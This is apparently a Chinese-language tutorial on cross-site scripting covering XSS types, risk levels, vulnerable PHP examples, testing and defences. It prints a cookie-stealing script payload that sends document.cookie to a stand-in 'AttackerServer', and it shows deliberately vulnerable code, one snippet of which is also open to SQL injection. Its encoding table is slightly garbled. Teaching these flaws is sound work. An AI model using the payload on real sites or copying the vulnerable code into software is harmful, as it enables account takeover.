XSS漏洞
1、概述
1.1、定义:
跨站脚本攻击漏洞(Cross Site Scripting),为了区别于CSS故而写作XSS。由于网站开发存在缺陷,可允许攻击者通过在Web页面内插入恶意Script代码攻击其他用户的漏洞。
1.2、类型:
- 反射型
- 存储型
- DOM型
- 反射与dom的区别
1.3、风险等级及危害:
- 严重:XSS漏洞构造蠕虫并大面积爆发、通过XSS漏洞获取网站后台权限并可获取webshell 控制服务器。
- 中-高危:存储型XSS
- 低-中危:反射XSS、DOM XSS
2、漏洞原理+利用
2.1、反射型
网站(例:http://xxx.com/xss.php)存在打印用户输入的功能且未进行防范:
<?php echo $_GET['a'];?>
这时攻击者可以构造:
http://xxx.com/xss.php?a=<script>document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;</script>
并把这个链接发送给任意用户,当用户点击时,用户的cookie会自动发送到AttackerServer,攻击者便可以利用该cookie登录到用户的账户。
xss漏洞一般都是用来做钓鱼攻击。
2.2、存储型
若网站存在存储型xss漏洞:
<?php
include 'conn.php';
mysql_query("INSERT INTO article VALUES('".$_GET['content']."')");
//......
$result=mysql_query("SELECT content FROM article limit 20");
while ($row = mysql_fetch_array($result)) {
echo $row['content'];
}
?>
攻击者可以在漏洞点注入恶意js语句对用户进行攻击,例如该漏洞点在某网站的评论区,攻击者在评论区发送了一条恶意的js语句<script>document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;</script>
,网站后台管理员看到时他的cookie就会自动发送到攻击者的http://AttackerServer
,若评论审核通过,则凡是看到该评论的用户都会遭受攻击。
2.3、DOM型
网站存在DOM型xss漏洞:
<script> document.write(unescape(window.location.hash)); </script>
3、漏洞挖掘
可以在搜索框、评论区、留言板、个人信息编辑区等地方进行测试,插入简单的js语句(alert(1)
)进行测试,如成功弹窗,则可以确定存在xss漏洞。
实际测试中可能需要进行一些绕过。
4、漏洞防御
- 纯文本区域,对用户的输入进行htmlencode编码。(例如PHP htmlspecialchars()函数)
htmlencode编码:
编码前 编码后 & & “ " ‘ &apos < &It > >
- 富文本区域的过滤十分复杂,可以采用开源库或组建来过滤,设计原则基本上采用设置标签白名单、属性白名单。
PHP可以参考:
JAVA可以参考: